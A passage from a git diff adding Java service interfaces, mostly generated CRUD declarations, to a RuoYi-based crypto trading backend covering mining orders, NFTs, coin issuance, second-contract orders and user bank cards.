【请填写功能名称】集合 + */ + public List selectTMineOrderList(TMineOrder tMineOrder); + + /** + * 新增【请填写功能名称】 + * + * @param tMineOrder 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineOrder(TMineOrder tMineOrder); + + /** + * 修改【请填写功能名称】 + * + * @param tMineOrder 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineOrder(TMineOrder tMineOrder); + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的【请填写功能名称】主键集合 + * @return 结果 + */ + public int deleteTMineOrderByIds(Long[] ids); + + /** + * 删除【请填写功能名称】信息 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineOrderById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineUserService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineUserService.java new file mode 100644 index 0000000..468dc1d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineUserService.java @@ -0,0 +1,63 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; + +import com.ruoyi.bussiness.domain.TMineUser; + +/** + * 【请填写功能名称】Service接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface ITMineUserService extends IService +{ + /** + * 查询【请填写功能名称】 + * + * @param userId 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineUser selectTMineUserByUserId(Long userId); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineUser 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTMineUserList(TMineUser tMineUser); + + /** + * 新增【请填写功能名称】 + * + * @param tMineUser 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineUser(TMineUser tMineUser); + + /** + * 修改【请填写功能名称】 + * + * @param tMineUser 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineUser(TMineUser tMineUser); + + /** + * 批量删除【请填写功能名称】 + * + * @param userIds 需要删除的【请填写功能名称】主键集合 + * @return 结果 + */ + public int deleteTMineUserByUserIds(Long[] userIds); + + /** + * 删除【请填写功能名称】信息 + * + * @param userId 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineUserByUserId(Long userId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingOrderService.java new file mode 100644 index 0000000..db3f56f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingOrderService.java @@ -0,0 +1,82 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TMingOrder; + +/** + * mingService接口 + * + * @author ruoyi + * @date 2023-08-18 + */ +public interface ITMingOrderService extends IService +{ + /** + * 查询ming + * + * @param id ming主键 + * @return ming + */ + public TMingOrder selectTMingOrderById(Long id); + + /** + * 查询ming列表 + * + * @param tMingOrder ming + * @return ming集合 + */ + public List selectTMingOrderList(TMingOrder tMingOrder); + + /** + * 新增ming + * + * @param tMingOrder ming + * @return 结果 + */ + public int insertTMingOrder(TMingOrder tMingOrder); + + /** + * 修改ming + * + * @param tMingOrder ming + * @return 结果 + */ + public int updateTMingOrder(TMingOrder tMingOrder); + + /** + * 批量删除ming + * + * @param ids 需要删除的ming主键集合 + * @return 结果 + */ + public int deleteTMingOrderByIds(Long[] ids); + + /** + * 删除ming信息 + * + * @param id ming主键 + * @return 结果 + */ + public int deleteTMingOrderById(Long id); + + /** + * 购买挖矿 + * @param planId + * @param amount + * @param userId + * @return + */ + String bugMingOrder(Long planId, BigDecimal amount,Long userId); + + + Map selectMingOrderSumList(Long userId); + + String redemption(Long id); + + String redemption(Long id,String flag); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingProductService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingProductService.java new file mode 100644 index 0000000..7b4b543 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingProductService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TMingProduct; + +/** + * mingProductService接口 + * + * @author ruoyi + * @date 2023-08-18 + */ +public interface ITMingProductService extends IService +{ + /** + * 查询mingProduct + * + * @param id mingProduct主键 + * @return mingProduct + */ + public TMingProduct selectTMingProductById(Long id); + + /** + * 查询mingProduct列表 + * + * @param tMingProduct mingProduct + * @return mingProduct集合 + */ + public List selectTMingProductList(TMingProduct tMingProduct); + + /** + * 新增mingProduct + * + * @param tMingProduct mingProduct + * @return 结果 + */ + public int insertTMingProduct(TMingProduct tMingProduct); + + /** + * 修改mingProduct + * + * @param tMingProduct mingProduct + * @return 结果 + */ + public int updateTMingProduct(TMingProduct tMingProduct); + + /** + * 批量删除mingProduct + * + * @param ids 需要删除的mingProduct主键集合 + * @return 结果 + */ + public int deleteTMingProductByIds(Long[] ids); + + /** + * 删除mingProduct信息 + * + * @param id mingProduct主键 + * @return 结果 + */ + public int deleteTMingProductById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingProductUserService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingProductUserService.java new file mode 100644 index 0000000..4f90f32 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingProductUserService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TMingProductUser; + +/** + * 用户购买质押限制Service接口 + * + * @author ruoyi + * @date 2023-10-11 + */ +public interface ITMingProductUserService extends IService +{ + /** + * 查询用户购买质押限制 + * + * @param id 用户购买质押限制主键 + * @return 用户购买质押限制 + */ + public TMingProductUser selectTMingProductUserById(Long id); + + /** + * 查询用户购买质押限制列表 + * + * @param tMingProductUser 用户购买质押限制 + * @return 用户购买质押限制集合 + */ + public List selectTMingProductUserList(TMingProductUser tMingProductUser); + + /** + * 新增用户购买质押限制 + * + * @param tMingProductUser 用户购买质押限制 + * @return 结果 + */ + public int insertTMingProductUser(TMingProductUser tMingProductUser); + + /** + * 修改用户购买质押限制 + * + * @param tMingProductUser 用户购买质押限制 + * @return 结果 + */ + public int updateTMingProductUser(TMingProductUser tMingProductUser); + + /** + * 批量删除用户购买质押限制 + * + * @param ids 需要删除的用户购买质押限制主键集合 + * @return 结果 + */ + public int deleteTMingProductUserByIds(Long[] ids); + + /** + * 删除用户购买质押限制信息 + * + * @param id 用户购买质押限制主键 + * @return 结果 + */ + public int deleteTMingProductUserById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftOrderService.java new file mode 100644 index 0000000..da1de4d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftOrderService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TNftOrder; + +/** + * nft订单Service接口 + * + * @author ruoyi + * @date 2023-09-01 + */ +public interface ITNftOrderService extends IService +{ + /** + * 查询nft订单 + * + * @param id nft订单主键 + * @return nft订单 + */ + public TNftOrder selectTNftOrderById(Long id); + + /** + * 查询nft订单列表 + * + * @param tNftOrder nft订单 + * @return nft订单集合 + */ + public List selectTNftOrderList(TNftOrder tNftOrder); + + /** + * 新增nft订单 + * + * @param tNftOrder nft订单 + * @return 结果 + */ + public int insertTNftOrder(TNftOrder tNftOrder); + + /** + * 修改nft订单 + * + * @param tNftOrder nft订单 + * @return 结果 + */ + public int updateTNftOrder(TNftOrder tNftOrder); + + /** + * 批量删除nft订单 + * + * @param ids 需要删除的nft订单主键集合 + * @return 结果 + */ + public int deleteTNftOrderByIds(Long[] ids); + + /** + * 删除nft订单信息 + * + * @param id nft订单主键 + * @return 结果 + */ + public int deleteTNftOrderById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftProductService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftProductService.java new file mode 100644 index 0000000..96a7420 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftProductService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TNftProduct; + +/** + * nft详情Service接口 + * + * @author ruoyi + * @date 2023-09-01 + */ +public interface ITNftProductService extends IService +{ + /** + * 查询nft详情 + * + * @param id nft详情主键 + * @return nft详情 + */ + public TNftProduct selectTNftProductById(Long id); + + /** + * 查询nft详情列表 + * + * @param tNftProduct nft详情 + * @return nft详情集合 + */ + public List selectTNftProductList(TNftProduct tNftProduct); + + /** + * 新增nft详情 + * + * @param tNftProduct nft详情 + * @return 结果 + */ + public int insertTNftProduct(TNftProduct tNftProduct); + + /** + * 修改nft详情 + * + * @param tNftProduct nft详情 + * @return 结果 + */ + public int updateTNftProduct(TNftProduct tNftProduct); + + /** + * 批量删除nft详情 + * + * @param ids 需要删除的nft详情主键集合 + * @return 结果 + */ + public int deleteTNftProductByIds(Long[] ids); + + /** + * 删除nft详情信息 + * + * @param id nft详情主键 + * @return 结果 + */ + public int deleteTNftProductById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftSeriesService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftSeriesService.java new file mode 100644 index 0000000..f8ea2b2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftSeriesService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TNftSeries; + +/** + * nft合计Service接口 + * + * @author ruoyi + * @date 2023-09-01 + */ +public interface ITNftSeriesService extends IService +{ + /** + * 查询nft合计 + * + * @param id nft合计主键 + * @return nft合计 + */ + public TNftSeries selectTNftSeriesById(Long id); + + /** + * 查询nft合计列表 + * + * @param tNftSeries nft合计 + * @return nft合计集合 + */ + public List selectTNftSeriesList(TNftSeries tNftSeries); + + /** + * 新增nft合计 + * + * @param tNftSeries nft合计 + * @return 结果 + */ + public int insertTNftSeries(TNftSeries tNftSeries); + + /** + * 修改nft合计 + * + * @param tNftSeries nft合计 + * @return 结果 + */ + public int updateTNftSeries(TNftSeries tNftSeries); + + /** + * 批量删除nft合计 + * + * @param ids 需要删除的nft合计主键集合 + * @return 结果 + */ + public int deleteTNftSeriesByIds(Long[] ids); + + /** + * 删除nft合计信息 + * + * @param id nft合计主键 + * @return 结果 + */ + public int deleteTNftSeriesById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNoticeService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNoticeService.java new file mode 100644 index 0000000..9a885a0 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNoticeService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TNotice; + +/** + * 通知公告Service接口 + * + * @author ruoyi + * @date 2023-07-20 + */ +public interface ITNoticeService extends IService +{ + /** + * 查询通知公告 + * + * @param noticeId 通知公告主键 + * @return 通知公告 + */ + public TNotice selectTNoticeByNoticeId(Long noticeId); + + /** + * 查询通知公告列表 + * + * @param tNotice 通知公告 + * @return 通知公告集合 + */ + public List selectTNoticeList(TNotice tNotice); + + /** + * 新增通知公告 + * + * @param tNotice 通知公告 + * @return 结果 + */ + public int insertTNotice(TNotice tNotice); + + /** + * 修改通知公告 + * + * @param tNotice 通知公告 + * @return 结果 + */ + public int updateTNotice(TNotice tNotice); + + /** + * 批量删除通知公告 + * + * @param noticeIds 需要删除的通知公告主键集合 + * @return 结果 + */ + public int deleteTNoticeByNoticeIds(Long[] noticeIds); + + /** + * 删除通知公告信息 + * + * @param noticeId 通知公告主键 + * @return 结果 + */ + public int deleteTNoticeByNoticeId(Long noticeId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOptionRulesService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOptionRulesService.java new file mode 100644 index 0000000..7211a46 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOptionRulesService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TOptionRules; + +/** + * 前台文本配置Service接口 + * + * @author ruoyi + * @date 2023-07-19 + */ +public interface ITOptionRulesService extends IService +{ + /** + * 查询前台文本配置 + * + * @param id 前台文本配置主键 + * @return 前台文本配置 + */ + public TOptionRules selectTOptionRulesById(Long id); + + /** + * 查询前台文本配置列表 + * + * @param tOptionRules 前台文本配置 + * @return 前台文本配置集合 + */ + public List selectTOptionRulesList(TOptionRules tOptionRules); + + /** + * 新增前台文本配置 + * + * @param tOptionRules 前台文本配置 + * @return 结果 + */ + public int insertTOptionRules(TOptionRules tOptionRules); + + /** + * 修改前台文本配置 + * + * @param tOptionRules 前台文本配置 + * @return 结果 + */ + public int updateTOptionRules(TOptionRules tOptionRules); + + /** + * 批量删除前台文本配置 + * + * @param ids 需要删除的前台文本配置主键集合 + * @return 结果 + */ + public int deleteTOptionRulesByIds(Long[] ids); + + /** + * 删除前台文本配置信息 + * + * @param id 前台文本配置主键 + * @return 结果 + */ + public int deleteTOptionRulesById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOwnCoinOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOwnCoinOrderService.java new file mode 100644 index 0000000..cfa2ffa --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOwnCoinOrderService.java @@ -0,0 +1,81 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TOwnCoinOrder; +import com.ruoyi.common.core.domain.AjaxResult; + +/** + * 申购订单Service接口 + * + * @author ruoyi + * @date 2023-09-20 + */ +public interface ITOwnCoinOrderService extends IService +{ + /** + * 查询申购订单 + * + * @param id 申购订单主键 + * @return 申购订单 + */ + public TOwnCoinOrder selectTOwnCoinOrderById(Long id); + + /** + * 查询申购订单列表 + * + * @param tOwnCoinOrder 申购订单 + * @return 申购订单集合 + */ + public List selectTOwnCoinOrderList(TOwnCoinOrder tOwnCoinOrder); + + /** + * 新增申购订单 + * + * @param tOwnCoinOrder 申购订单 + * @return 结果 + */ + public int insertTOwnCoinOrder(TOwnCoinOrder tOwnCoinOrder); + + /** + * 修改申购订单 + * + * @param tOwnCoinOrder 申购订单 + * @return 结果 + */ + public int updateTOwnCoinOrder(TOwnCoinOrder tOwnCoinOrder); + + /** + * 批量删除申购订单 + * + * @param ids 需要删除的申购订单主键集合 + * @return 结果 + */ + public int deleteTOwnCoinOrderByIds(Long[] ids); + + /** + * 删除申购订单信息 + * + * @param id 申购订单主键 + * @return 结果 + */ + public int deleteTOwnCoinOrderById(Long id); + + String createOrder(TOwnCoinOrder tOwnCoinOrder); + + /** + * 订阅申购新发币 + * + * @param tOwnCoinOrder + * @return + */ + AjaxResult placingCoins(TOwnCoinOrder tOwnCoinOrder); + + /** + * 审批申购订单 + * + * @param tOwnCoinOrder + * @return + */ + AjaxResult editPlacing(TOwnCoinOrder tOwnCoinOrder); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOwnCoinService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOwnCoinService.java new file mode 100644 index 0000000..1524b3e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOwnCoinService.java @@ -0,0 +1,137 @@ +package com.ruoyi.bussiness.service; + +import cc.block.data.api.domain.market.Kline; +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; + +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TOwnCoin; +import com.ruoyi.bussiness.domain.TOwnCoinSubscribeOrder; +import com.ruoyi.bussiness.domain.vo.TOwnCoinVO; +import com.ruoyi.common.core.domain.AjaxResult; + +/** + * 发币Service接口 + * + * @author ruoyi + * @date 2023-09-18 + */ +public interface ITOwnCoinService extends IService +{ + /** + * 查询发币 + * + * @param id 发币主键 + * @return 发币 + */ + public TOwnCoin selectTOwnCoinById(Long id); + + /** + * 查询发币列表 + * + * @param tOwnCoin 发币 + * @return 发币集合 + */ + public List selectTOwnCoinList(TOwnCoin tOwnCoin); + + /** + * 新增发币 + * + * @param tOwnCoin 发币 + * @return 结果 + */ + public int insertTOwnCoin(TOwnCoin tOwnCoin); + + /** + * 修改发币 + * + * @param tOwnCoin 发币 + * @return 结果 + */ + public int updateTOwnCoin(TOwnCoin tOwnCoin); + + /** + * 批量删除发币 + * + * @param ids 需要删除的发币主键集合 + * @return 结果 + */ + public int deleteTOwnCoinByIds(Long[] ids); + + /** + * 删除发币信息 + * + * @param id 发币主键 + * @return 结果 + */ + public int deleteTOwnCoinById(Long id); + + int editStatus(Long id); + + List selectLineList(KlineSymbol one, List his); + + /** + * 新发币订阅 + * + * @param tOwnCoinSubscribeOrder + * @return + */ + AjaxResult subscribeCoins(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder); + + /** + * 查询用户订阅新发币列表 + * + * @param tOwnCoinSubscribeOrder + * @return + */ + List selectTOwnCoinSubscribeOrderList(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder); + + /** + * 修改(审批)发币订阅 + * + * @param tOwnCoinSubscribeOrder + * @return + */ + int updateTOwnCoinSubscribeOrder(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder); + + /** + * 查询用户订阅审批订单 + * + * @param ownId + * @param userId + * @return + */ + TOwnCoinSubscribeOrder getOrderById(Long ownId, Long userId); + /** + * 查询用户订阅审批订单 + * + * @param ownId + * @param userId + * @return + */ + TOwnCoinVO getDetail(Long ownId, Long userId); + + /** + * 查询发币列表 + * + * @param status 新发币状态 + * @return + */ + List ownCoinList(String status); + + /** + * 获取新币详情 + * + * @param id + * @return + */ + TOwnCoinSubscribeOrder getTOwnCoinSubscribeOrder(Long id); + + /** + * 提前结束上线新币,资产发送 + * + * @param id + * @return + */ + int editReleaseStatus(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondCoinConfigService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondCoinConfigService.java new file mode 100644 index 0000000..09216da --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondCoinConfigService.java @@ -0,0 +1,76 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.domain.vo.SecondCoinCopyVO; +import com.ruoyi.bussiness.domain.vo.SymbolCoinConfigVO; + +import java.util.List; +import java.util.Map; + + +/** + * 秒合约币种配置Service接口 + * + * @author ruoyi + * @date 2023-07-11 + */ +public interface ITSecondCoinConfigService extends IService +{ + /** + * 查询秒合约币种配置 + * + * @param id 秒合约币种配置主键 + * @return 秒合约币种配置 + */ + public TSecondCoinConfig selectTSecondCoinConfigById(Long id); + + /** + * 查询秒合约币种配置列表 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 秒合约币种配置集合 + */ + public List selectTSecondCoinConfigList(TSecondCoinConfig tSecondCoinConfig); + + /** + * 新增秒合约币种配置 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 结果 + */ + public int insertTSecondCoinConfig(TSecondCoinConfig tSecondCoinConfig); + public int insertSecondCoin(TSecondCoinConfig tSecondCoinConfig); + + /** + * 修改秒合约币种配置 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 结果 + */ + public int updateTSecondCoinConfig(TSecondCoinConfig tSecondCoinConfig); + + /** + * 批量删除秒合约币种配置 + * + * @param ids 需要删除的秒合约币种配置主键集合 + * @return 结果 + */ + public int deleteTSecondCoinConfigByIds(Long[] ids); + + /** + * 删除秒合约币种配置信息 + * + * @param id 秒合约币种配置主键 + * @return 结果 + */ + public int deleteTSecondCoinConfigById(Long id); + + public boolean batchSave(String[] coins); + + List getSymbolList(); + + List selectBathCopySecondCoinConfigList(); + + int bathCopyIng(SecondCoinCopyVO secondCoinCopyVO); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondContractOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondContractOrderService.java new file mode 100644 index 0000000..c0621e9 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondContractOrderService.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TSecondContractOrder; + +import java.util.List; + +/** + * 秒合约订单Service接口 + * + * @author ruoyi + * @date 2023-07-13 + */ +public interface ITSecondContractOrderService extends IService +{ + /** + * 查询秒合约订单 + * + * @param id 秒合约订单主键 + * @return 秒合约订单 + */ + public TSecondContractOrder selectTSecondContractOrderById(Long id); + + /** + * 查询秒合约订单列表 + * + * @param tSecondContractOrder 秒合约订单 + * @return 秒合约订单集合 + */ + public List selectTSecondContractOrderList(TSecondContractOrder tSecondContractOrder); + + /** + * 新增秒合约订单 + * + * @param tSecondContractOrder 秒合约订单 + * @return 结果 + */ + public int insertTSecondContractOrder(TSecondContractOrder tSecondContractOrder); + + /** + * 修改秒合约订单 + * + * @param tSecondContractOrder 秒合约订单 + * @return 结果 + */ + public int updateTSecondContractOrder(TSecondContractOrder tSecondContractOrder); + + /** + * 批量删除秒合约订单 + * + * @param ids 需要删除的秒合约订单主键集合 + * @return 结果 + */ + public int deleteTSecondContractOrderByIds(Long[] ids); + + /** + * 删除秒合约订单信息 + * + * @param id 秒合约订单主键 + * @return 结果 + */ + public int deleteTSecondContractOrderById(Long id); + + String createSecondContractOrder(TSecondContractOrder tSecondContractOrder); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondPeriodConfigService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondPeriodConfigService.java new file mode 100644 index 0000000..758b455 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondPeriodConfigService.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TSecondPeriodConfig; + +import java.util.List; + +/** + * 秒合约币种周期配置Service接口 + * + * @author ruoyi + * @date 2023-07-11 + */ +public interface ITSecondPeriodConfigService extends IService +{ + /** + * 查询秒合约币种周期配置 + * + * @param id 秒合约币种周期配置主键 + * @return 秒合约币种周期配置 + */ + public TSecondPeriodConfig selectTSecondPeriodConfigById(Long id); + + /** + * 查询秒合约币种周期配置列表 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 秒合约币种周期配置集合 + */ + public List selectTSecondPeriodConfigList(TSecondPeriodConfig tSecondPeriodConfig); + + /** + * 新增秒合约币种周期配置 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 结果 + */ + public int insertTSecondPeriodConfig(TSecondPeriodConfig tSecondPeriodConfig); + + /** + * 修改秒合约币种周期配置 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 结果 + */ + public int updateTSecondPeriodConfig(TSecondPeriodConfig tSecondPeriodConfig); + + /** + * 批量删除秒合约币种周期配置 + * + * @param ids 需要删除的秒合约币种周期配置主键集合 + * @return 结果 + */ + public int deleteTSecondPeriodConfigByIds(Long[] ids); + + /** + * 删除秒合约币种周期配置信息 + * + * @param id 秒合约币种周期配置主键 + * @return 结果 + */ + public int deleteTSecondPeriodConfigById(Long id); + + void copyPeriodMethod(Long id, Long copyId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSpontaneousCoinService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSpontaneousCoinService.java new file mode 100644 index 0000000..8fcd253 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSpontaneousCoinService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TSpontaneousCoin; + +/** + * 自发币种配置Service接口 + * + * @author ruoyi + * @date 2023-10-08 + */ +public interface ITSpontaneousCoinService extends IService +{ + /** + * 查询自发币种配置 + * + * @param id 自发币种配置主键 + * @return 自发币种配置 + */ + public TSpontaneousCoin selectTSpontaneousCoinById(Long id); + + /** + * 查询自发币种配置列表 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 自发币种配置集合 + */ + public List selectTSpontaneousCoinList(TSpontaneousCoin tSpontaneousCoin); + + /** + * 新增自发币种配置 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 结果 + */ + public int insertTSpontaneousCoin(TSpontaneousCoin tSpontaneousCoin); + + /** + * 修改自发币种配置 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 结果 + */ + public int updateTSpontaneousCoin(TSpontaneousCoin tSpontaneousCoin); + + /** + * 批量删除自发币种配置 + * + * @param ids 需要删除的自发币种配置主键集合 + * @return 结果 + */ + public int deleteTSpontaneousCoinByIds(Long[] ids); + + /** + * 删除自发币种配置信息 + * + * @param id 自发币种配置主键 + * @return 结果 + */ + public int deleteTSpontaneousCoinById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSymbolManageService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSymbolManageService.java new file mode 100644 index 0000000..d9a2b85 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSymbolManageService.java @@ -0,0 +1,67 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; + +import com.ruoyi.bussiness.domain.TSymbolManage; + +/** + * 币种管理Service接口 + * + * @author ruoyi + * @date 2023-07-12 + */ +public interface ITSymbolManageService extends IService +{ + /** + * 查询币种管理 + * + * @param id 币种管理主键 + * @return 币种管理 + */ + public TSymbolManage selectTSymbolManageById(Long id); + + /** + * 查询币种管理列表 + * + * @param tSymbolManage 币种管理 + * @return 币种管理集合 + */ + public List selectTSymbolManageList(TSymbolManage tSymbolManage); + + /** + * 新增币种管理 + * + * @param tSymbolManage 币种管理 + * @return 结果 + */ + public int insertTSymbolManage(TSymbolManage tSymbolManage); + + /** + * 修改币种管理 + * + * @param tSymbolManage 币种管理 + * @return 结果 + */ + public int updateTSymbolManage(TSymbolManage tSymbolManage); + + /** + * 批量删除币种管理 + * + * @param ids 需要删除的币种管理主键集合 + * @return 结果 + */ + public int deleteTSymbolManageByIds(Long[] ids); + + /** + * 删除币种管理信息 + * + * @param id 币种管理主键 + * @return 结果 + */ + public int deleteTSymbolManageById(Long id); + + List selectSymbolList(TSymbolManage tSymbolManage); + + boolean addBatch(String[] symbols); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSymbolsService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSymbolsService.java new file mode 100644 index 0000000..f9afdf3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSymbolsService.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.service; + +import java.util.List; +import com.ruoyi.bussiness.domain.TSymbols; + +/** + * 支持币种Service接口 + * + * @author ruoyi + * @date 2023-06-26 + */ +public interface ITSymbolsService +{ + /** + * 查询支持币种 + * + * @param slug 支持币种主键 + * @return 支持币种 + */ + public TSymbols selectTSymbolsBySlug(String slug); + + /** + * 查询支持币种列表 + * + * @param tSymbols 支持币种 + * @return 支持币种集合 + */ + public List selectTSymbolsList(TSymbols tSymbols); + + /** + * 新增支持币种 + * + * @param tSymbols 支持币种 + * @return 结果 + */ + public int insertTSymbols(TSymbols tSymbols); + + /** + * 修改支持币种 + * + * @param tSymbols 支持币种 + * @return 结果 + */ + public int updateTSymbols(TSymbols tSymbols); + + /** + * 批量删除支持币种 + * + * @param slugs 需要删除的支持币种主键集合 + * @return 结果 + */ + public int deleteTSymbolsBySlugs(String[] slugs); + + /** + * 删除支持币种信息 + * + * @param slug 支持币种主键 + * @return 结果 + */ + public int deleteTSymbolsBySlug(String slug); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserBankService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserBankService.java new file mode 100644 index 0000000..142ac7a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserBankService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TUserBank; + +/** + * 银行卡Service接口 + * + * @author ruoyi + * @date 2023-08-21 + */ +public interface ITUserBankService extends IService +{ + /** + * 查询银行卡 + * + * @param id 银行卡主键 + * @return 银行卡 + */ 